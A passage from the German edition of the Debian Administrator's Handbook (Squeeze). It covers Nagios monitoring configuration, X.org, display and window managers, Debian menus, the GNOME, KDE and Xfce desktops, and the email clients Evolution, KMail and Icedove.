Der letzte Schritt besteht darin, die erstellten Seiten zu veröffentlichen; hierzu muss ein Webserver konfiguriert werden, so dass der Inhalt von /var/cache/munin/www/ auf einer Webseite zur Verfügung gestellt wird. Der Zugriff auf diese Webseite ist häufig beschränkt, indem entweder ein Authentifizierungsmechanismus oder eine IP-basierte Zugriffskontrolle eingesetzt wird. Siehe Section 11.2, “Webserver (HTTP)” für entsprechende Einzelheiten.

12.4.2. Nagios einrichten

Im Gegensatz zu Munin ist es bei Nagios nicht unbedingt erforderlich, auf den überwachten Hosts irgendetwas zu installieren; in den meisten Fällen wird Nagios dazu verwendet, die Verfügbarkeit von Netzwerkdiensten zu überprüfen. Nagios kann sich zum Beispiel mit einem Webserver verbinden und nachprüfen, ob eine bestimmte Webseite in einer bestimmten Zeit erhältlich ist.

12.4.2.1. Installieren

Der erste Schritt zur Einrichtung von Nagios besteht darin, die Pakete nagios3, nagios-plugins und nagios3-doc zu installieren. Mit der Installation dieser Pakete wird die Webschnittstelle konfiguriert und ein erster nagiosadmin-Benutzer eingerichtet (für den nach einem Passwort gefragt wird). Weitere Benutzer werden einfach hinzugefügt, indem sie mit dem Apache-Befehl htpasswd in die Datei /etc/nagios3/htpasswd.users eingetragen werden. Falls während der Installation keine Debconf-Fragen angezeigt wurden, kann der Befehl dpkg-reconfigure nagios3-cgi dazu eingesetzt werden, das nagiosadmin-Passwort festzulegen.

Mit der Eingabe von http://server/nagios3/ in einen Browser wird die Webschnittstelle angezeigt; man beachte insbesondere, dass Nagios auf dem Rechner, auf dem es läuft, bereits einige Parameter überwacht. Einige interaktive Funktionen, wie zum Beispiel das Hinzufügen von Kommentaren zu einem Host, laufen jedoch noch nicht. Diese Funktionen sind in der Standardkonfiguration für Nagios, die aus Sicherheitsgründen sehr restriktiv ist, deaktiviert.

Wie in /usr/share/doc/nagios3/README.Debian dargelegt, ist es zur Aktivierung einiger Funktionen erforderlich, /etc/nagios3/nagios.cfg zu editieren und ihren Parameter check_external_commands auf „1“ zu setzen. Wir müssen außerdem mit Befehlen wie den folgenden Schreibberechtigungen für das Verzeichnis einrichten, das Nagios benutzt:

# /etc/init.d/nagios3 stop [...] # dpkg-statoverride --update --add nagios www-data 2710 /var/lib/nagios3/rw # dpkg-statoverride --update --add nagios nagios 751 /var/lib/nagios3 # /etc/init.d/nagios3 start [...]

12.4.2.2. Konfigurieren

Die Webschnittstelle von Nagios ist recht schön, aber sie ermöglicht weder eine Konfigurierung noch kann sie dazu verwendet werden, überwachte Hosts und Dienste hinzuzufügen. Die gesamte Konfiguration wird über Dateien verwaltet, auf die in der zentralen Konfigurationsdatei /etc/nagios3/nagios.cfg verwiesen wird.

Man sollte in diese Dateien ohne ein Verständnis der Konzepte von Nagios nicht eindringen. Die Konfiguration führt Objekte der folgenden Art auf:

ein host ist ein zu überwachender Rechner;

eine hostgroup ist ein Satz von Rechnern, der in der Darstellung oder zur Berücksichtigung einiger gemeinsamer Konfigurationselemente zusammengefasst werden sollte;

ein service ist ein überprüfbares Element in Bezug auf einen Host oder eine Gruppe von Hosts. In den meisten Fällen wird es sich um die Überprüfung eines Netzwerkdienstes handeln, es kann aber auch bedeuten, dass überprüft wird, ob einige Parameter innerhalb eines zulässigen Bereichs liegen (zum Beispiel der freie Plattenplatz oder die Prozessorlast);

eine servicegroup ist ein Satz von Diensten, die zur Darstellung zusammengefasst werden sollen;

ein contact ist eine Person, die Warnmeldungen empfangen darf;

eine contactgroup ist ein Satz solcher Personen;

eine timeperiod ist ein Zeitraum, innerhalb dessen einige Dienste überprüft werden müssen;

ein command ist die Befehlszeile, die zur Überprüfung eines bestimmten Dienstes aufgerufen wird.

Je nach seiner Art hat jedes Objekt eine Anzahl von Eigenschaften, die angepasst werden können. Eine vollständige Liste wäre zu lang, um sie hier aufzuführen, jedoch sind die wichtigsten Eigenschaften die Beziehungen zwischen den Objekten.

Ein service verwendet einen command, um den Zustand einer Funktion auf einem host (oder einer hostgroup) innerhalb einer timeperiod zu überprüfen. Falls ein Problem vorliegt, verschickt Nagios ein Warnmeldung an alle Mitglieder der contactgroup, die mit diesem Dienst in Zusammenhang steht. Jedes Mitglied erhält die Meldung in Abhängigkeit von dem Kanal, der in dem entsprechenden contact-Objekt beschrieben ist.

Ein Vererbungssystem erleichtert es, einen Satz von Eigenschaften bei vielen Objekten gemeinsam zu benutzen, ohne Informationen zu duplizieren. Außerdem enthält die anfängliche Konfiguration eine Anzahl von Standardobjekten; so können in vielen Fällen neue Hosts, Dienste und Kontakte einfach dadurch festgelegt werden, dass sie von den bereitgestellten allgemeinen Objekten abgeleitet werden. Die Dateien in /etc/nagios3/conf.d/ sind eine gute Quelle für Informationen darüber, wie sie funktionieren.

Die Falcot Corp. Administratoren verwenden folgende Konfiguration:

Example 12.3. /etc/nagios3/conf.d/falcot.cfg file

define contact{ name generic-contact service_notification_period 24x7 host_notification_period 24x7 service_notification_options w,u,c,r host_notification_options d,u,r service_notification_commands notify-service-by-email host_notification_commands notify-host-by-email register 0 ; Template only } define contact{ use generic-contact contact_name rhertzog alias Raphael Hertzog email hertzog@debian.org } define contact{ use generic-contact contact_name rmas alias Roland Mas email lolando@debian.org } define contactgroup{ contactgroup_name falcot-admins alias Falcot Administrators members rhertzog,rmas } define host{ use generic-host ; Name of host template to use host_name www-host alias www.falcot.com address 192.168.0.5 contact_groups falcot-admins hostgroups debian-servers,ssh-servers } define host{ use generic-host ; Name of host template to use host_name ftp-host alias ftp.falcot.com address 192.168.0.6 contact_groups falcot-admins hostgroups debian-servers,ssh-servers } # 'check_ftp' command with custom parameters define command{ command_name check_ftp2 command_line /usr/lib/nagios/plugins/check_ftp -H $HOSTADDRESS$ -w 20 -c 30 -t 35 } # Generic Falcot service define service{ name falcot-service use generic-service contact_groups falcot-admins register 0 } # Services to check on www-host define service{ use falcot-service host_name www-host service_description HTTP check_command check_http } define service{ use falcot-service host_name www-host service_description HTTPS check_command check_https } define service{ use falcot-service host_name www-host service_description SMTP check_command check_smtp } # Services to check on ftp-host define service{ use falcot-service host_name ftp-host service_description FTP check_command check_ftp2 }

Diese Konfigurationsdatei beschreibt zwei überwachte Hosts. Der erste ist der Webserver, und die Überprüfungen werden an den Ports für HTTP (80) und sicheres HTTP (443) durchgeführt. Nagios überprüft außerdem, ob ein SMTP-Server an Port 25 läuft. Der zweite ist der FTP-Server, und mit der Überprüfung wird unter anderem sichergestellt, dass eine Antwort innerhalb von 20 Sekunden gegeben wird. Bei einer längeren Verzögerung wird eine Warnung ausgegeben, bei mehr als 30 Sekunden gilt sie als kritisch. Die Webschnittstelle von Nagios zeigt auch an, dass der SSH-Service überwacht wird: dies geschieht wegen der Hosts, die zur Hostgruppe ssh-servers gehören. Der dazugehörige Standarddienst ist in /etc/nagios3/conf.d/services_nagios2.cfg festgelegt.

Man beachte die Verwendung der Vererbung: ein Objekt wird mit „use eltern-name“ dazu gebracht, von einem anderen Objekt zu erben. Das Elternobjekt muss identifizierbar sein, daher ist es erforderlich, ihm mit „name kennung“ eine Kennung zu geben. Falls das Elternobjekt kein wirkliches Objekt sein, sondern lediglich als Elter dienen soll, wird Nagios mitgeteilt, es nicht zu berücksichtigen, indem ihm die Eigenschaft „register 0“ zugeteilt wird, so dass Nagios das Fehlen einiger Parameter ignoriert, die anderenfalls erforderlich wären.

DOKUMENTATION Liste der Objekteigenschaften

Ein vertieftes Verständnis der verschiedenen Weisen, auf die Nagios konfiguriert werden kann, kann aus der Dokumentation gewonnen werden, die mit dem Paket nagios3-doc bereitgestellt wird. Diese Dokumentation ist direkt von der Webschnittstelle aus über den Link „Documentation“ in der oberen linken Ecke erreichbar. Sie enthält eine Liste aller Objekttypen mit allen Eigenschaften, über die sie verfügen. Sie erklärt auch, wie neue Plugins erstellt werden.

WEITERE SCHRITTE Ferntests mit NRPE

Mit vielen Nagios-Plugins ist es möglich, bestimmte Parameter zu überprüfen, die lokal auf einem Host verfügbar sind; wenn diese Überprüfungen für zahlreiche Rechner erforderlich sind, wobei eine zentrale Einrichtung die Daten sammelt, muss das Plugin NRPE (Nagios Remote Plugin Executor) eingesetzt werden. Hierzu muss das Paket nagios-nrpe-plugin auf dem Nagios-Server und das Paket nagios-nrpe-server auf den Hosts, auf denen die lokalen Tests laufen sollen, installiert werden. Letzteres erhält seine Konfiguration von /etc/nagios/nrpe.cfg. Diese Datei sollte die Tests auflisten, die aus der Ferne gestartet werden können, und die IP-Adressen der Rechner, die sie auslösen dürfen. Auf der Nagios-Seite werden diese Ferntests einfach dadurch aktiviert, dass mit dem neuen Befehl check_nrpe passende Dienste hinzugefügt werden.

Chapter 13. Arbeitsplatzrechner

Nachdem die Serverinstallationen abgeschlossen sind, können die Administratoren ihre Aufmerksamkeit nun darauf richten, die einzelnen Arbeitsplatzrechner einzurichten und für sie eine typische Konfiguration zu erstellen.

13.1. Den X11-Server konfigurieren

Die Konfiguration der grafischen Schnittstelle kann zu Anfang etwas unpassend sein. Die neuesten Grafikkarten laufen häufig nicht optimal mit der X.org-Version, die mit der stabilen Debian-Version geliefert wird.

Eine kurze Erinnerung: X.org ist die Programmkomponente, die es grafischen Anwendungen ermöglicht, Fenster auf dem Bildschirm anzuzeigen. Sie enthält einen Treiber, der die Grafikkarte effizient nutzt. Die Leistungsmerkmale, die den grafischen Anwendungen angeboten werden, werden durch eine Standardschnittstelle namens X11 exportiert (Squeeze enthält die Version X11R7.5).

AUSBLICK X11, XFree86 und X.org

X11 ist das unter unixähnlichen Systemen am weitesten verbreitete grafische System (es steht zusätzlich zu seinem ursprünglichen System auch für Windows und Mac OS zur Verfügung). Im Grunde genommen bezieht sich der Ausdruck „X11“ nur auf eine Protokollspezifikation, er wird aber auch für dessen Umsetzung in die Praxis benutzt.

X11 hatte einen schwierigen Start. In den 1990er Jahren entwickelte sich XFree86 jedoch zur Referenzanwendung, da es freie Software war, übertragbar und von einer Gemeinschaft betreut. Die Entwicklungsgeschwindigkeit ließ später jedoch nach, als die Software nur noch neue Treiber erhielt. Diese Situation führte, zusammen mit einer sehr umstrittenen Lizenzänderung, 2004 zu der Abspaltung von X.org. Letzteres ist seither die Referenzanwendung, und Debian Squeeze verwendet die X.org-Version 7.5.

Aktuelle X.org-Versionen sind in der Lage, die vorhandene Hardware selbsttätig zu erkennen; dies gilt sowohl für die Grafikkarte und den Monitor als auch für Tastaturen und Mäuse; es ist so bequem, dass das Paket sogar die Konfigurationsdatei /etc/X11/xorg.conf nicht mehr erstellt. All dies wird durch Funktionen ermöglicht, die der Linux-Kernel 2.6 zur Verfügung stellt (insbesondere für Tastaturen und Mäuse), wobei jeder Treiber die Grafikkarten aufführt, die er unterstützt, und das DDC-Protokoll dazu verwendet wird, die Eigenschaften des Bildschirms abzurufen.

Die Tastaturkonfiguration wird gegenwärtig in der Datei /etc/default/keyboard festgelegt. Mit dieser Datei werden sowohl die Textkonsole als auch die grafische Schnittstelle konfiguriert, und sie wird von dem Paket keyboard-configuration gehandhabt. Einzelheiten zur Konfigurierung der Tastaturbelegung finden sich in Section 8.1.2, “Die Tastatur einstellen”.

Das Paket xserver-xorg stellt einen allgemeinen X-Server bereit, wie er von den 7.x-Versionen von X.org verwendet wird. Dieser Server ist modular und benutzt eine Reihe unabhängiger Treiber zum Umgang mit den vielen verschiedenen Arten von Grafikkarten.

Beachten Sie, dass X.org versucht, den VESA-Treiber oder die fbdev-Treiber zu verwenden, falls die entdeckte Grafikkarte von keinem der verfügbaren Treiber unterstützt wird. Ersterer ist ein allgemeiner Treiber, der überall funktionieren sollte, jedoch mit eingeschränkten Fähigkeiten (weniger verfügbare Auflösungen, keine Hardwarebeschleunigung für Spiele und so weiter). Letztere setzen dagegen auf dem Framebuffer-Device des Kernels auf. Der X-Server schreibt seine Mitteilungen in die Protokolldatei /var/log/Xorg.0.log, in der man nachsehen kann, wenn man wissen will, welcher Treiber gerade verwendet wird. Der folgende Ausschnitt zeigt zum Beispiel, was der intel-Treiber ausgibt, wenn er geladen wird:

(==) Matched intel as autoconfigured driver 0 (==) Matched vesa as autoconfigured driver 1 (==) Matched fbdev as autoconfigured driver 2 (==) Assigned the driver to the xf86ConfigLayout (II) LoadModule: "intel" (II) Loading /usr/lib/xorg/modules/drivers/intel_drv.so

EXTRA Proprietäre Treiber

Einige Grafikkartenhersteller (vor allem nVidia) weigern sich, die Hardwarespezifikationen zu veröffentlichen, die zur Realisierung guter freier Treiber erforderlich wären. Sie stellen jedoch proprietäre Treiber bereit, die es ermöglichen, ihre Hardware zu benutzen. Dieses Verhalten ist schändlich, da der bereitgestellte Treiber gewöhnlich nicht so ausgefeilt ist, wie er sein sollte; zudem folgt er nicht notwendigerweise den X.org-Aktualisierungen, wodurch der jüngste verfügbare Treiber möglicherweise nicht richtig (oder auch gar nicht) geladen wird. Wir können dieses Verhalten nicht billigen und empfehlen, diese Hersteller zu meiden und hilfsbereitere Produzenten vorzuziehen.

Falls Sie doch eine solche Karte haben, finden Sie die benötigten Pakete im Abschnitt non-free: nvidia-glx für nVidia-Karten und fglrx-driver für einige ATI-Karten. In beiden Fällen sind passende Kernel-Module erforderlich. Das Erstellen dieser Module kann mit der Installation der Pakete nvidia-kernel-dkms (für nVidia) beziehungsweise fglrx-modules-dkms (für ATI) automatisiert werden.

Das „nouveau“-Projekt hat zum Ziel, einen freien Softwaretreiber für nVidia-Karten zu entwickeln. Bei Squeeze sind seine Leistungsmerkmale dem proprietären Treiber noch nicht ebenbürtig. Zur Ehrenrettung der Entwickler sei jedoch gesagt, dass die benötigten Informationen nur durch Reverse-Engineering zu bekommen sind, was die Sache sehr schwierig macht. Der freie Treiber für ATI-Grafikkarten namens „radeon“ ist in dieser Hinsicht bereits viel besser. Er benötigt jedoch an vielen Stellen nicht-freie Firmware.

13.2. Die grafische Schnittstelle anpassen

13.2.1. Einen Display Manager auswählen

Die grafische Schnittstelle stellt lediglich Bildschirmplatz zur Verfügung. Man erhält nur einen leeren Bildschirm, wenn man den X-Server allein ausführt. Deshalb verwenden die meisten Installationen einen Display Manager, um einen Anmeldebildschirm anzuzeigen und nach der Authentifizierung des Benutzers die grafische Arbeitsfläche zu starten. Die drei zur Zeit populärsten Display Manager sind gdm3 (GNOME Display Manager), kdm (KDE Display Manager) und xdm (X Display Manager). Da die Falcot Corp. Administratoren sich entschieden hatten, die GNOME-Arbeitsumgebung zu verwenden, haben sie logischerweise auch gdm3 als Display Manager ausgewählt. Die Konfigurationsdatei /etc/gdm3/daemon.conf enthält zahlreiche Optionen, von denen einige auch durch gdmsetup eingestellt werden können, eine grafische Schnittstelle zur Konfigurierung von gdm3, die bei der GNOME-Umgebung über das Menü System → Systemverwaltung → Bildschirm aufgerufen werden kann.

ALTERNATIVE gdm oder gdm3

Bei einer neuen Installation von Squeeze wird gdm3 eingesetzt. Dagegen enthält ein System, das von einer früheren Debian-Version auf Squeeze aktualisiert wurde, normalerweise noch gdm (eine 2.x-Version). Version 3 ist eine vollständig neu geschriebene aber noch relativ junge Fassung: viele der in früheren Versionen bereitgestellten Optionen sind nicht mehr vorhanden, und die Konfigurierungsschnittstelle gdmsetup ist in ihrem Umfang wesentlich begrenzter. Deshalb stehen in Squeeze beide Versionen zur Verfügung. Beachten Sie jedoch, dass die 2.x-Versionen in der nächsten stabilen Debian-Veröffentlichung nicht mehr enthalten sein werden. Daher ist es sinnvoll, sich bereits jetzt auf diese Umstellung einzustellen und direkt gdm3 zu installieren, falls die fehlenden Leistungsmerkmale für Sie nicht wichtig sind.

13.2.2. Einen Fenstermanager auswählen

Da jede grafische Arbeitsfläche ihren eigenen Fenstermanager bereitstellt, zieht eine Entscheidung bei ersterer normalerweise eine bestimmte Softwareauswahl bei letzterem nach sich. GNOME verwendet den Fenstermanager metacity, KDE verwendet kwm (KDE Window Manager) und XFce (das wir später vorstellen) hat XFwm. Die Unix-Philosophie ermöglicht es immer, einen Fenstermanager nach Wahl zu verwenden, aber wenn ein Administrator dabei den Empfehlungen folgt, kann er die Vorteile der Integrationsbemühungen, die von jedem Projekt unternommen wurden, voll ausschöpfen.

ZURÜCK ZU DEN GRUNDLAGEN Fenstermanager

Getreu der Unix-Tradition, nur eine Sache zu tun, diese aber gut, zeigt der Fenstermanager die „Verzierungen“ rings um die Fenster an, die zu den gerade laufenden Anwendungen gehören. Hierzu gehören der Rahmen und die Titelleiste. Er ermöglicht es auch, die Fenster zu verkleinern, wiederherzustellen, zu maximieren und zu verbergen. Die meisten Fenstermanager stellen auch ein Menü bereit, das erscheint, wenn die Arbeitsfläche auf eine bestimmte Art angeklickt wird. Dieses Menü ermöglicht es, die Sitzung des Fenstermanagers zu beenden, neue Anwendungen zu starten und in manchen Fällen, zu einem anderen Fenstermanager zu wechseln (falls dieser installiert ist).

Älteren Rechnern fällt es jedoch manchmal schwer, eine schwergewichtige grafische Arbeitsumgebung auszuführen. In diesen Fällen sollte eine leichtere Konfiguration verwendet werden. Zu den „leichten“ Fenstermanagern (mit geringem Leistungsbedarf) gehören WindowMaker (in dem Paket wmaker), Afterstep, fvwm, icewm und blackbox. In diesen Fällen sollte das System so konfiguriert werden, dass der geeignete Fenstermanager Vorrang erhält; der übliche Weg besteht darin, die Einstellung des x-window-manager mit dem Befehl update-alternatives --config x-window-manager zu ändern.

DEBIAN-BESONDERHEIT Alternativen

Das Debian-Regelwerk führt eine Anzahl standardisierter Befehle zur Ausführung einer bestimmten Aktion an. Zum Beispiel ruft der Befehl x-window-manager einen Fenstermanager auf. Jedoch ordnet Debian diesen Befehl keinem bestimmten Fenstermanager zu. Der Administrator kann wählen, welcher Manager hiermit aufgerufen werden soll.

Für jeden Fenstermanager registriert daher das entsprechende Paket den passenden Befehl zusammen mit einer dazugehörigen Priorität als mögliche Auswahl für x-window-manager. Außer im Falle einer ausdrücklichen Konfigurierung durch den Administrator ermöglicht diese Priorität es, aus den installierten Fenstermanagern den besten auszuwählen, wenn der allgemeine Befehl ausgeführt wird.

Sowohl die Registrierung von Befehlen als auch die ausdrückliche Konfigurierung sind mit dem Skript update-alternatives verbunden. Um auszuwählen, wohin ein symbolischer Befehl zeigt, wird einfach update-alternatives --config symbolischer-befehl ausgeführt. Das Skript update-alternatives erzeugt (und verwaltet) symbolische Verknüpfungen im Verzeichnis /etc/alternatives/, das wiederum auf den Ort der ausführbaren Datei verweist. Im Laufe der Zeit werden Pakete installiert oder entfernt, und der Administrator nimmt an der Konfiguration bestimmte Änderungen vor. Wenn ein Paket, das eine Alternative bereitstellt, entfernt wird, wechselt die Auswahl automatisch zur nächst besten Wahl unter den verbleibenden Befehlsmöglichkeiten.

Nicht alle symbolischen Befehle sind im Debian-Regelwerk ausdrücklich aufgeführt; einige Debian-Paketbetreuer haben sich bewusst dazu entschieden, dieses Verfahren in weniger eindeutigen Fällen zu verwenden, in denen es dennoch interessante Flexibilität bewirkt (hierzu gehören beispielsweise x-www-browser, www-browser, cc, c++, awk und so weiter).

13.2.3. Menü-Verwaltung

Moderne Arbeitsumgebungen und viele Fenstermanager stellen Menüs bereit, die für den Benutzer die verfügbaren Anwendungen auflisten. Um die Menüs hinsichtlich der tatsächlich verfügbaren Anwendungen aktuell zu halten, hat Debian eine zentrale Datenbank erstellt, in der alle installierten Anwendungen registriert werden. Ein neu installiertes Paket registriert sich selbständig in dieser Datenbank und weist das System an, die Menüs entsprechend zu aktualisieren. Diese Infrastruktur wird vom Paket menu bedient.

Wenn ein Paket eine Anwendung bereitstellt, die im Menüsystem erscheinen soll, speichert es eine Datei im Verzeichnis /usr/share/menu/. Diese Datei beschreibt einige Merkmale der Anwendung (unter anderem, ob es eine grafische Anwendung ist oder nicht) und seinen geeignetsten Platz in der Menühierarchie. Das Nachinstallationsskript dieses Pakets führt dann den Befehl update-menus aus, der wiederum alle erforderlichen Dateien aktualisiert. Dieser Befehl kann nicht alle Menütypen kennen, die von installierten Anwendungen verwendet werden. Deshalb müssen Pakete, die ein Menü anzeigen können, ein ausführbares Skript bereitstellen, das mit allen erforderlichen Informationen von der Menüdatei aufgerufen wird; dieses Skript sollte dann diese Informationen in Elemente umsetzen, die die Anwendung mit dem Menü verwenden kann. Diese Filterskripte werden in dem Verzeichnis /etc/menu-methods/ installiert.

WEITERE SCHRITTE Menü-Standardisierung

Debian stellt sein eigenes Menüsystem bereit, aber sowohl GNOME als auch KDE haben ebenfalls ihre eigenen Lösungen zur Menüverwaltung entwickelt. Diese beiden Projekte haben sich im Rahmen des gemeinsamen Vorhabens FreeDesktop.org auf ein Format für diese Menüs geeinigt - genauer gesagt, auf ein gemeinsames Format für die .desktop-Dateien, die die Menüelemente verkörpern.

→ http://www.freedesktop.org/

Die Debian-Entwickler haben dieses Projekt genau im Auge behalten, und .desktop-Dateien können auch vom Debian-Menüsystem aus erzeugt werden. Jedoch benutzen weder GNOME noch KDE das Debian-Menü. Beide ziehen es vor, vollständige Kontrolle über ihre Menüs zu behalten. Es ist aber dennoch möglich, ein „Debian“-Untermenü zu aktivieren, das das offizielle Menü, wie es von Debian unterhalten wird, enthält: in GNOME wird der Menüeditor (im Paket alacarte) mit einem Rechtsklick auf das Menü der Bedienleiste aufgerufen und dann „Menüs editieren“ ausgewählt.

Der Administrator kann in dieser Angelegenheit und bei den sich daraus ergebenden neu erstellten Menüs auch mitentscheiden. Erstens kann er einen Menüeintrag löschen, selbst wenn die dazugehörige Anwendung installiert ist, indem er einfach im Verzeichnis /etc/menu/ eine leere Datei unter dem Namen des Pakets, das die zu löschenden Einträge bereitstellt, abspeichert. Zweitens kann das Menü neu organisiert und können Abschnitte umbenannt oder umgruppiert werden. Diese Neuorganisation wird in der Datei /etc/menu-methods/translate_menus festgelegt, die kommentierte Beispiele enthält. Schließlich können neue Elemente zum Menü hinzugefügt werden, um zum Beispiel Programme zu starten, die sich außerhalb des Paketsystems befinden, oder um einen bestimmten Befehl auszuführen, wie zum Beispiel das Starten des Web-Browsers mit einer bestimmten Seite. Diese zusätzlichen Elemente werden in Dateien des Typs /etc/menu/local.element festgelegt, die das gleiche Format wie die übrigen unter /usr/share/menu/ vorhandenen Dateien haben.

13.3. Grafische Arbeitsflächen

Das Feld der freien grafischen Arbeitsflächen wird von zwei großen Programmkollektionen dominiert: GNOME und KDE. Beide sind sehr populär. Dies ist in der Welt der freien Software ein recht seltener Fall; zum Beispiel hat der Apache-Webserver nur sehr wenige Kollegen.

Diese Vielfältigkeit hat seine Ursachen in der Vergangenheit. KDE war das erste Projekt einer grafischen Arbeitsfläche, es entschied sich jedoch, den grafischen Werkzeugsatz Qt zu verwenden, eine Entscheidung, die für viele Entwickler nicht akzeptabel war. Zu jener Zeit war Qt nämlich keine freie Software, und so wurde GNOME auf der Basis des Werkzeugsatzes GTK+ ins Leben gerufen. Qt ist inzwischen freie Software geworden, aber die Projekte haben sich nicht zusammengeschlossen, sondern sich stattdessen parallel entwickelt.

GNOME und KDE arbeiten dennoch zusammen: unter dem Schirm von FreeDesktop.org kooperieren die Projekte bei der Festlegung von Standards zur Zusammenarbeit von Anwendungen.

Die Auswahl der „besten“ grafischen Arbeitsfläche ist ein heikles Thema, dem wir lieber aus dem Wege gehen möchten. Wir werden lediglich die zahlreichen Möglichkeiten beschreiben und einige Hinweise für weitere Überlegungen geben. Die beste Wahl wird die sein, die Sie nach einigem Ausprobieren treffen werden.

13.3.1. GNOME

Debian Squeeze enthält GNOME in der Version 2.30, das einfach mit dem Befehl apt-get install gnome installiert werden kann (es kann auch durch Auswahl der Aufgabe „grafische Arbeitsumgebung“ installiert werden).

Bei GNOME sind seine Anstrengungen in den Bereichen Gebrauchsfreundlichkeit und Barrierefreiheit bemerkenswert. Professionelle Designer waren an der Erstellung von Standards und Empfehlungen beteiligt. Dies hat den Entwicklern geholfen, überzeugende grafische Benutzerschnittstellen zu schaffen. Das Projekt erhält Unterstützung auch von den großen Akteuren im Computerwesen, wie Intel, IBM, Oracle, Novell und natürlich verschiedenen Linux-Distributionen. Schließlich können zur Entwicklung von Anwendungen, die mit GNOME in Verbindung treten, viele verschiedene Programmiersprachen benutzt werden.

Das GNOME-Projekt hat einige Zeit zum Aufbau dieser Infrastruktur gebraucht, wodurch sich erklärt, warum die Arbeitsfläche weniger ausgereift scheint als KDE. Vor allem die Anstrengungen in den Bereichen Benutzerfreundlichkeit und Barrierefreiheit sind neueren Datums, und ihre Leistungen haben sich erst in den letzten Versionen der Umgebung zu zeigen begonnen.

Figure 13.1. Die GNOME-Arbeitsfläche

Für Administratoren erscheint GNOME auf Masseneinsätze besser vorbereitet zu sein. Die Anwendungskonfigurierung wird von GConf erledigt, einer Art Registrierungsdatenbank, die mit dem Befehlszeilenprogramm gconftool-2 abgefragt und editiert werden kann. Der Administrator kann daher mit einem einfachen Skript die Konfiguration für die Benutzer ändern. Die folgende Website führt alle Informationen auf, die für einen Administrator von Interesse sind, der mit der Verwaltung von GNOME-Arbeitsplatzrechnern beauftragt ist:

→ http://library.gnome.org/admin/system-admin-guide/stable/

→ http://library.gnome.org/admin/deployment-guide/

13.3.2. KDE

Debian Squeeze enthält KDE in der Version 4.4.5, das mit dem Befehl apt-get install kde installiert werden kann.

KDE hat aufgrund eines sehr pragmatischen Ansatzes eine rasante Entwicklung durchgemacht. Seine Entwickler haben schnell sehr gute Ergebnisse erzielt, wodurch sie eine große Benutzergemeinschaft aufbauen konnten. Diese Faktoren haben zur Gesamtqualität des Projekts beigetragen. KDE ist eine vollständig ausgereifte Arbeitsplatzumgebung mit einer reichen Auswahl an Anwendungen.

Figure 13.2. Die KDE-Arbeitsfläche

Seit der Veröffentlichung von Qt 4.0 gibt es das letzte verbliebene Lizenzproblem bei KDE nicht mehr. Diese Version wurde sowohl für Linux als auch für Windows unter der GPL veröffentlicht (wohingegen die Windows-Version vorher unter einer nicht-freien Lizenz veröffentlicht war). Beachten Sie, dass KDE-Anwendungen mit der Programmiersprache C++ entwickelt werden müssen.

13.3.3. Xfce und andere

Xfce ist eine einfache und leichtgewichtige grafische Arbeitsfläche, die hervorragend zu Rechnern mit begrenzten Ressourcen passt. Es kann mit dem Befehl apt-get install xfce4 installiert werden. Wie GNOME beruht auch Xfce auf GTK+, und mehrere Komponenten sind bei beiden Arbeitsflächen identisch.

Im Gegensatz zu GNOME und KDE zielt Xfce nicht darauf ab, ein großes Projekt zu sein. Außer den grundlegenden Komponenten einer modernen Arbeitsfläche (Dateimanager, Fenstermanager, Sitzungsmanager, einer Leiste für Anwendungsstarter und so weiter) stellt es nur einige besondere Anwendungen bereit: einen sehr leichtgewichtigen Web-Browser (Midori), eine Konsole, einen Kalender, einen Bildbetrachter, ein CD/DVD-Brennprogramm, einen Medienspieler (Parole) und eine Lautstärkensteuerung.

Figure 13.3. Die Xfce-Arbeitsfläche

13.4. Hilfsprogramme

13.4.1. E-Mail

13.4.1.1. Evolution

GEMEINSCHAFT Beliebt Pakete

Wenn man das Paket popularity-contest installiert, kann man an einer automatischen Erhebung teilnehmen, die das Debian-Projekt über die beliebtesten Pakete informiert. Einmal pro Woche wird von cron ein Skript ausgeführt, das (über HTTP oder E-Mail) eine anonymisierte Liste der installierten Pakete und des letzten Zugriffsdatums für die darin enthaltenen Dateien verschickt. So kann festgestellt werden, welche der installierten Pakete tatsächlich benutzt werden.

Diese Information ist für das Debian-Projekt eine große Hilfe. Sie wird für die Entscheidung darüber benutzt, welche Pakete in den ersten Installationsplatten enthalten sein sollen. Die Installationsdaten sind auch ein wichtiger Faktor für die Entscheidung, ob ein Paket mit nur sehr wenigen Nutzern aus der Distribution entfernt werden sollte. Wir empfehlen eindringlich, das Paket popularity-contest zu installieren und an der Erhebung teilzunehmen.

Die erhobenen Daten werden täglich veröffentlicht.

→ http://popcon.debian.org/

Diese Statistiken können auch dabei helfen, zwischen zwei Paketen zu wählen, die im übrigen gleichwertig erscheinen. Die Auswahl des beliebteren Pakets erhöht die Wahrscheinlichkeit, dass man damit eine gute Wahl trifft.

Evolution ist GNOMEs E-Mail-Client und kann mit dem Befehl apt-get install evolution installiert werden. Evolution ist mehr als ein einfacher E-Mail-Client und stellt auch einen Kalender, ein Adressbuch, eine Aufgabenliste und eine Notizanwendung (für frei formulierte Notizen) bereit. Seine E-Mail-Komponente umfasst ein leistungsstarkes Nachrichten-Indizierungssystem und ermöglicht die Erstellung virtueller Verzeichnisse aufgrund von Suchabfragen aller archivierten Nachrichten. Mit anderen Worten, alle Nachrichten werden in gleicher Weise gespeichert, werden aber nach Verzeichnissen geordnet angezeigt, bei der jedes Verzeichnis die Nachrichten enthält, die einen bestimmten Satz von Filterkriterien erfüllen.

Figure 13.4. Das E-Mail-Programm Evolution

Eine Erweiterung für Evolution ermöglicht seine Integration in ein Microsoft Exchange E-Mail-System; das erforderliche Paket ist evolution-exchange.

13.4.1.2. KMail

KDEs E-Mail-Programm kann mit dem Befehl apt-get install kmail installiert werden. KMail verarbeitet zwar nur E-Mails, gehört jedoch zu einer Programmgarnitur namens KDE-PIM (für Personal Information Manager), die Leistungsmerkmale wie Adressbücher, eine Kalenderkomponente und so weiter enthält. KMail verfügt über alle Fähigkeiten, die man von einem vorzüglichen E-Mail-Client erwarten kann.

Figure 13.5. Das E-Mail-Programm KMail

13.4.1.3. Thunderbird und Icedove

Dieses im Paket icedove enthaltene E-Mail-Programm ist Teil der Mozilla-Programmgarnitur. Verschiedene Lokalisierungssätze stehen in Paketen des Typs icedove-l10n-* zur Verfügung; die Erweiterung enigmail handhabt die Verschlüsselung und Signierung von Nachrichten (ist aber leider nicht in allen Sprachen verfügbar).

Figure 13.6. Das E-Mail-Programm Icedove

Thunderbird ist einer der besten E-Mail-Clients und ist wohl wie Mozilla Firefox ein großer Erfolg.

